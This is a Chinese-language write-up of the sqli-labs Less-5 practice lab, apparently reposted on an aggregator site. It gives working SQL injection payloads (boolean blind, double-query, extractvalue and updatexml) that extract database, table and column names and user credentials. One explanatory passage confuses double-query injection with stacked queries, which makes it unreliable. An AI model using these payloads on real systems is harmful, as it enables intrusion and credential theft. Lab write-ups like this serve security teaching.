[网络安全]sqli-labs Less-5 解题详析

[网络安全]Less-5 GET - Double Injection - Single quotes - String:双注入GET单引号字符型注入

    • 判断注入类型
    • 判断注入点个数
    • 查库名(爆破)
      • left函数
      • 抓包
    • 查库名(双查询注入)
      • 原理
      • 实例
    • 查库名(extractvalue函数)
      • 原理
      • 实例
    • 查库名(updatexml函数)
      • 原理
      • 实例
    • 查表名(双查询注入)
    • 查表名(extractvalue函数)
    • 查表名(updatexml函数)
    • 查users表的列名(双查询注入)
    • 查users表的列名(extractvalue函数)
    • 查users表的列名(updatexml函数)
    • 查字段(双查询注入)
    • 查字段(extractvalue函数)
    • 查字段(updatexml函数)
    • 总结


往期sqli-labs在该博客中,读者可自行浏览。
秋说的博客
该博客实操性较高,请读者躬身实践


判断注入类型

GET1' and '1'='1 回显如下:
在这里插入图片描述GET1' and '1'='2
在这里插入图片描述没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 3 --+,回显如下:
在这里插入图片描述GET1' order by 4 --+,回显如下:
在这里插入图片描述故注入点为3个
该题若查询结果正确,只返回you are in
若查询结果错误,无回显

查库名(爆破)


Payload:GET1' and left((select database()),1)='a'--+
使用子查询 select database(),该语句可以获取当前数据库名称,并返回该名称的字符串表达式;通过 left() 函数获取数据库名称的首个字符。

left函数

Left函数是一种字符串函数,可以从一个字符串的左侧开始返回指定数量的字符。它的语法如下:

LEFT(str, len)

其中,str 是要截取的字符串,len 是要返回的字符数。

例如,LEFT('Hello, world!', 5)将返回Hello,因为它只返回字符串的前5个字符


1' and left((select database()),1)='a'--+查询成功,则回显you are in,即数据库名的首字母为a
因此可用此方法查询出完整的数据库名

抓包

抓该页面的数据表
在这里插入图片描述选择狙击手攻击类型,对a添加payload位置
在这里插入图片描述
其它设置如下:在这里插入图片描述由下图回显得数据库名首字母为s
在这里插入图片描述接着,将首字母s添加到**§a§前,并将len改为2,重复上述步骤。
在这里插入图片描述如下图,可确定数据库名第二个字母**为e
在这里插入图片描述重复上述步骤,第九个字符查询不到数据,故最终解得数据库名仅八个字符,为security


查库名(双查询注入)

原理

攻击者在构造注入字符串时,将多条 SQL 查询语句用分号等符号分隔开来,从而让数据库服务器一次性执行多个查询,并返回所有查询的结果。

例如,以下示例代码存在双查询注入漏洞:

$sql = "SELECT * FROM users WHERE name = '{$_POST['name']}' AND password = '{$_POST['password']}'";

攻击者可以通过在 name 或 password 参数中插入恶意代码来执行多条 SQL 查询语句,例如:

name=abc'; SELECT * FROM information_schema.tables WHERE table_schema='database_name';--

这样就会让数据库服务器先执行原始查询语句,然后再执行 SELECT 查询语句,从而获取指定的数据库名称表格信息。

实例

1' union select 1, count(*), concat((select database()), floor(rand(0)*2)) a from information_schema.tables group by a  %23
代码解读:information_schema.tables 表中查询数据库名称,并向结果添加一个随机数。查询结果包括以下三个字段:1:表示第一个查询语句的结果字段。COUNT(*):表示对信息模式(information_schema)表进行聚合后的行数。CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)):表示使用 GROUP BY 限定之后得到的生成字符串,其中 CONCAT 函数用于连接两个字符串,并使用 FLOOR 和 RAND 函数生成一个随机数,从而使得查询结果与原始结果不同。%23 是 URL 编码后的 # 符号,用于在 SQL 注入语句末尾添加注释符号,以防止后续查询出现语法错误。

注意:如果没有随机数,查询返回的结果会按照最后一个 SELECT 语句中的列顺序组成,这可能使得攻击者注入的数据容易被识别和过滤。
通过使用 FLOOR 和 RAND 函数生成一个随机数,攻击者可以控制查询结果的排序方式,使得注入的数据在结果中更难以被发现和识别。

回显如下,数据库名为security:
在这里插入图片描述

查库名(extractvalue函数)

原理

extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为:
EXTRACTVALUE(xml, xpath_expr)

其中 xml 是 XML 字符串,xpath_expr 是 XPath 表达式。

该函数会从 xml 参数中提取与 XPath 表达式匹配的节点值,并返回结果。如果找不到匹配的节点,则返回空字符串。如果 XPath 表达式匹配了多个节点,则只返回第一个匹配的节点的值。

例如,假设有以下 XML 数据:

<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year>
</book>

如果我们使用 extractvalue 函数提取 title 节点的值,可以这样写:

SELECT EXTRACTVALUE('<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year></book>', '//title');

执行结果为:

MySQL Database Design and Tuning

实例

1' and extractvalue(1,concat(1,database())) %23
'1' 表示在输入参数中添加一个条件,该条件与其他条件相互独立,用于生成一个新的查询结果。AND 连接符用于将新的条件与原有查询语句进行逻辑上的连接。extractvalue(1,concat(1,database())) 表示从 XML 数据中提取值,其中第一个参数为 1,表示要查询的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串,然后使用 extractvalue 函数从该字符串中提取值,并将其添加到查询结果中。如果数据库名称不为空,则返回该名称,否则返回空字符串。

回显库名security
在这里插入图片描述

查库名(updatexml函数)

原理

updatexml 函数是 MySQL 数据库中用于修改 XML 格式数据的一个内置函数。它的语法如下:

updatexml(xml_target, xpath_expr, new_val)

其中,xml_target 表示要进行修改的 XML 数据;xpath_expr 表示要修改的节点路径;new_val 表示要修改成的新值。

updatexml 函数的工作原理是将指定的 XML 数据解析为 DOM(文档对象模型) 文档树,并根据 xpath 表达式找到对应的节点,然后将该节点的内容替换为新值。如果节点不存在,则不进行任何操作。

实例

1' union select 1,2, (updatexml(1,concat(1,database()),1)) %23
UNION SELECT 1,2,(updatexml(1,concat(1,database()),1)) 表示使用 UNION 运算符将两个查询结果合并起来,同时将 updatexml 函数的结果添加到第二个 SELECT 查询中。updatexml 函数用于修改 XML 数据中的内容,其中第一个参数为 1,表示要修改的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串作为修改内容;
第三个参数为 1,表示将修改后的结果写入 XML 数据中。%23 表示 URL 编码后的注释符号 #,用于在 SQL 注入语句末尾添加注释符号,以防止后续查询出现语法错误。

在这里插入图片描述

查表名(双查询注入)

1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

回显四个表名:
在这里插入图片描述

查表名(extractvalue函数)

1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'))) %23

回显四个表名:
在这里插入图片描述

查表名(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)) %23

在这里插入图片描述

查users表的列名(双查询注入)

1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

回显三个列名
在这里插入图片描述

查users表的列名(extractvalue函数)

1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'))) %23

回显三个列名:
在这里插入图片描述

查users表的列名(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1)) %23

在这里插入图片描述

查字段(双查询注入)

1' union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23

在select concat()函数中使用:将查询到的username与password分隔开来

在这里插入图片描述由上图,用户名为Dumb,密码为Dumb
将0改为1,2,3…即可,如下图:
在这里插入图片描述在这里插入图片描述在这里插入图片描述

查字段(extractvalue函数)

1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users), '~', (select group_concat(password) from users)) ) )) %23

在这里插入图片描述
由于extractvalue函数只能查询32位长度,导致结果缺失,改用limit查询

1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1), '~', (select password from users limit 0,1)) ) )) %23

在这里插入图片描述由上图,用户名为Dumb,密码为Dumb
将0改为1,2,3…即可,如下图:
在这里插入图片描述在这里插入图片描述

查字段(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23

在这里插入图片描述由上图,用户名为Dumb,密码为Dumb
将0改为1,2,3…即可,如下图:
在这里插入图片描述在这里插入图片描述在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/482217.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pyspark实现基于协同过滤的电影推荐系统

最近在学一门大数据的课&#xff0c;课程要求很开放&#xff0c;任意做一个大数据相关的项目即可&#xff0c;不知道为什么我就想到推荐算法&#xff0c;一直到着手要做之前还没有新的更好的来代替&#xff0c;那就这个吧。 推荐算法 推荐算法的发展由来已久&#xff0c;但和…

python股票数据分析(Pandas)练习

需求&#xff1a; 使用pandas读取一个CSV文件&#xff0c;文件内容包括股票名称、价格和交易量。完成以下任务&#xff1a; 找出价格最高的股票&#xff1b; 计算总交易量&#xff1b; 绘制价格折线图。 代码实现&#xff1a; import pandas as pd import matplotlib.pyplot …

利用Python爬虫精准获取淘宝商品详情的深度解析

在数字化时代&#xff0c;数据的价值日益凸显&#xff0c;尤其是在电子商务领域。淘宝作为中国最大的电商平台之一&#xff0c;拥有海量的商品数据&#xff0c;对于研究市场趋势、分析消费者行为等具有重要意义。本文将详细介绍如何使用Python编写爬虫程序&#xff0c;精准获取…

K8s调度器扩展(scheduler)

1.K8S调度器 筛选插件扩展 为了熟悉 K8S调度器扩展步骤&#xff0c;目前只修改 筛选 插件 准备环境&#xff08;到GitHub直接下载压缩包&#xff0c;然后解压&#xff0c;解压要在Linux系统下完成&#xff09; 2. 编写调度器插件代码 在 Kubernetes 源代码目录下编写调度插件…

领养我的宠物:SpringBoot开发指南

第2章 开发环境与技术 本章节对开发宠物领养系统需要搭建的开发环境&#xff0c;还有宠物领养系统开发中使用的编程技术等进行阐述。 2.1 Java语言 Java语言是当今为止依然在编程语言行业具有生命力的常青树之一。Java语言最原始的诞生&#xff0c;不仅仅是创造者感觉C语言在编…

Permute for Mac 媒体文件格式转换软件 安装教程【音视频图像文件转换,简单操作,轻松转换,提高效率】

Mac分享吧 文章目录 Permute for Mac 格式转换软件 效果图展示一、Permute 格式转换软件 Mac电脑版——v3.11.15⚠️注意事项&#xff1a;1️⃣&#xff1a;下载软件2️⃣&#xff1a;安装软件2.1 左侧安装包拖入右侧文件夹中&#xff0c;等待安装完成&#xff0c;运行软件2.2…

【Android】EventBus的使用及源码分析

文章目录 介绍优点基本用法线程模式POSTINGMAINMAIN_ORDEREDBACKGROUNDASYNC 黏性事件 源码注册getDefault()registerfindSubscriberMethods小结 postpostStickyunregister 介绍 优点 简化组件之间的通信 解耦事件发送者和接收者在 Activity、Fragment 和后台线程中表现良好避…

原子类、AtomicLong、AtomicReference、AtomicIntegerFieldUpdater、LongAdder

原子类 JDK提供的原子类&#xff0c;即Atomic*类有很多&#xff0c;大体可做如下分类&#xff1a; 形式类别举例Atomic*基本类型原子类AtomicInteger、AtomicLong、AtomicBooleanAtomic*Array数组类型原子类AtomicIntegerArray、AtomicLongArray、AtomicReferenceArrayAtomic…

【Electron学习笔记(三)】Electron的主进程和渲染进程

Electron的主进程和渲染进程 Electron的主进程和渲染进程前言正文1、主进程2、渲染进程3、Preload 脚本3.1 在项目目录下创建 preload.js 文件3.2 在 main.js 文件下创建路径变量并将 preload.js 定义为桥梁3.3 在 preload.js 文件下使用 electron 提供的contextBridge 模块3.4…

FFmpeg一些常用的命令

官网&#xff1a;https://ffmpeg.org/ 官网下载&#xff1a;https://ffmpeg.org/download.html 官网下载源码&#xff1a;https://www.ffmpeg.org/releases/ FFmpeg 实用命令 — FFmpeg 教程 文档 一、参数 1.1 FFmpeg 常用参数 参数说明备注-i filename指定输入文件&#…

JAVA篇08 —— String类

欢迎来到我的主页&#xff1a;【一只认真写代码的程序猿】 本篇文章收录于专栏【小小爪哇】 如果这篇文章对你有帮助&#xff0c;希望点赞收藏加关注啦~ 目录 1 String概述 1.1 String特性 1.2 String常用方法 2 StringBuffer类 2.1 String与StringBuffer互转 2.2 Stri…

Flink四大基石之Time (时间语义) 的使用详解

目录 一、引言 二、Time 的分类及 EventTime 的重要性 Time 分类详述 EventTime 重要性凸显 三、Watermark 机制详解 核心原理 Watermark能解决什么问题,如何解决的? Watermark图解原理 举例 总结 多并行度的水印触发 Watermark代码演示 需求 代码演示&#xff…

LabVIEW将TXT文本转换为CSV格式(多行多列)

在LabVIEW中&#xff0c;将TXT格式的文本文件内容转换为Excel格式&#xff08;即CSV文件&#xff09;是一项常见的数据处理任务&#xff0c;适用于将以制表符、空格或其他分隔符分隔的数据格式化为可用于电子表格分析的形式。以下是将TXT文件转换为Excel&#xff08;CSV&#x…

CENet及多模态情感计算实战

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

共享售卖机语音芯片方案选型:WTN6020引领智能化交互新风尚

在共享经济蓬勃发展的今天&#xff0c;共享售卖机作为便捷购物的新形式&#xff0c;正逐步渗透到人们生活的各个角落。为了提升用户体验&#xff0c;增强设备的智能化和互动性&#xff0c;增加共享售卖机的语音功能就显得尤为重要。 共享售卖机语音方案选型&#xff1a; WTN602…

云备份实战项目

文章目录 前言一、整体项目简介二、服务端环境及功能简介三、 客户端环境及功能简介四、服务端文件管理类的实现1. 获取文件大小&#xff0c;最后一次修改时间&#xff0c;最后一次访问时间&#xff0c;文件名称&#xff0c;以及文件内容的读写等功能2. 判断文件是否存在&#…

【Linux】死锁、读写锁、自旋锁

文章目录 1. 死锁1.1 概念1.2 死锁形成的四个必要条件1.3 避免死锁 2. 读者写者问题与读写锁2.1 读者写者问题2.2 读写锁的使用2.3 读写策略 3. 自旋锁3.1 概念3.2 原理3.3 自旋锁的使用3.4 优点与缺点 1. 死锁 1.1 概念 死锁是指在⼀组进程中的各个进程均占有不会释放的资源…

通俗易懂:序列标注与命名实体识别(NER)概述及标注方法解析

目录 一、序列标注&#xff08;Sequence Tagging&#xff09;二、命名实体识别&#xff08;Named Entity Recognition&#xff0c;NER&#xff09;**命名实体识别的作用****命名实体识别的常见实体类别** &#xff1a; 三、标签类型四、序列标注的三种常见方法1. **BIO&#xf…

设计模式学习[10]---迪米特法则+外观模式

文章目录 前言1. 迪米特法则2. 外观模式2.1 原理阐述2.2 举例说明 总结 前言 之前有写到过 依赖倒置原则&#xff0c;这篇博客中涉及到的迪米特法则和外观模式更像是这个依赖倒置原则的一个拓展。 设计模式的原则嘛&#xff0c;总归还是高内聚低耦合&#xff0c;下面就来阐述…

JUnit介绍:单元测试

1、什么是单元测试 单元测试是针对最小的功能单元编写测试代码&#xff08;Java 程序最小的功能单元是方法&#xff09;单元测试就是针对单个Java方法的测试。 2、为什么要使用单元测试 确保单个方法运行正常&#xff1b; 如果修改了代码&#xff0c;只需要确保其对应的单元…